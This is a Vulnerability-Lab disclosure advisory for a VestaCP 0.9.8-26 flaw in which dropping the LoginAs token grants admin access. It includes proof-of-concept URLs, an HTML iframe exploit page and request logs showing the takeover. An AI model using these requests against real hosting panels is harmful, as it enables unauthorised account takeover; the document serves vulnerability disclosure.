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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 | # Exploit Title: VestaCP 0.9.8-26 - 'LoginAs' Insufficient Session Validation # Date: 2020-11-26 # Exploit Author: Vulnerability-Lab # Vendor Homepage: https://vestacp.com/ # Software Link: https://vestacp.com/install/ # Version: 0.9.8-26 Document Title: =============== VestaCP v0.9.8-26 - (LoginAs) Token Session Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2240 Release Date: ============= 2020-11-26 Vulnerability Laboratory ID (VL-ID): ==================================== 2240 Common Vulnerability Scoring System: ==================================== 8.3 Vulnerability Class: ==================== Insufficient Session Validation Current Estimated Price: ======================== 2.000€ - 3.000€ Product & Service Introduction: =============================== Web interface is open source php and javascript interface based on Vesta open API, it uses 381 vesta CLI calls. The GNU General Public Licence is a free, copyleft licence for software and other kinds of works. Its free to change, modify and redistribute source code. (Copy of the Homepage: https://vestacp.com/features/ & https://vestacp.com/install/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a insufficient session validation vulnerability in the VestaCP v0.9.8-26 hosting web-application. Affected Product(s): ==================== Vesta Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application) Vulnerability Disclosure Timeline: ================================== 2020-05-04: Researcher Notification & Coordination (Security Researcher) 2020-05-05: Vendor Notification (Security Department) 2020-05-07: Vendor Response/Feedback (Security Department) 2020-**-**: Vendor Fix/Patch (Service Developer Team) 2020-**-**: Security Acknowledgements (Security Department) 2020-11-26: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= No User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ A session token vulnerability has been discovered in the official VestaCP (Control Panel) v0.9.8-26 hosting web-application. The vulnerability allows remote attackers to gain unauthenticated or unauthorized access by client-side token manipulation. The token vulnerability is located in the function of the <code>LoginAs module. Remote attackers are able to perform LoginAs requests without session token to preview there profiles. The attack requires user account privileges for manipulation of the request. The admin panel allows to request via token the local user accounts to login as via account switch. In that moment the token of the request can be removed to perform the same interaction with user privileges. Thus allows to access other account information without administrative permissions. The permission approval on login request is insufficient regarding a misconfiguration on the token implementation (client-side). Successful exploitation of the web vulnerability results in information disclosure, user or admin account compromise and elevation of privileges by further exploitation. Request Method(s): [+] GET Vulnerable Module(s): [+] /login/ Vulnerable Parameter(s): [+] token Affected Parameter(s): [+] loginas Proof of Concept (PoC): ======================= The token web vulnerability can be exploited by remote attackers with simple user privileges without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Request: Default (Download Backup) https://vestacp.localhost:8083/login/?loginas=user&token=f230a989082eec102ad5a3bb81fd0190 https://vestacp.localhost:8083/login/?loginas=admin&token=f230a989082eec102ad5a3bb81fd0190 PoC: Exploitation https://vestacp.localhost:8083/login/?loginas=user/.admin&token=null PoC: Exploit <html> <head><body> <title>VestaCP (Control Panel) v0.9.8-26 - LoginAs User/Admin PoC</title> <iframe src="https://vestacp.localhost:8083/login/?loginas=admin&token=null"%20> </body></head> <html> --- PoC Session Logs [GET] --- https://vestacp.localhost:8083/login/?loginas=[ACCOUNTNAME]&token=null Host: vestacp.localhost:8083 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer: https://vestacp.localhost:8083/list/user/ Cookie: __utma=80953744.319544562.1588324200.1588338964.1588341255.6; __utmc=80953744; __utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/; _ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2; PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0; __utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1; metrika_enabled=1; _ym_metrika_enabled=1; _ym_metrika_enabled_34956065=1 - GET: HTTP/1.1 302 Moved Temporarily Server: nginx Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 Location: / - https://vestacp.localhost:8083/ Host: vestacp.localhost:8083 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: https://vestacp.localhost:8083/list/user/ Connection: keep-alive Cookie: __utma=80953744.319544562.1588324200.1588338964.1588341255.6; __utmc=80953744; __utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/; _ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2; PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0; __utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1; metrika_enabled=1; _ym_metrika_enabled=1; _ym_metrika_enabled_34956065=1 - GET: HTTP/1.1 302 Moved Temporarily Server: nginx Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 - Location: /list/user/ https://vestacp.localhost:8083/list/user/ Host: vestacp.localhost:8083 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: https://vestacp.localhost:8083/list/user/ Connection: keep-alive Cookie: __utma=80953744.319544562.1588324200.1588338964.1588341255.6; __utmc=80953744; __utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/; _ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2; PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0; __utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1; metrika_enabled=1; _ym_metrika_enabled=1; _ym_metrika_enabled_34956065=1 - GET: HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 Content-Encoding: gzip - Welcome - Logged in as user admin Reference(s): https://vestacp.localhost:8083/ https://vestacp.localhost:8083/login/ https://vestacp.localhost:8083/login/?loginas https://vestacp.localhost:8083/list/user/ Security Risk: ============== The security risk of the remote session vulnerability in the vestacp application is estimated as high. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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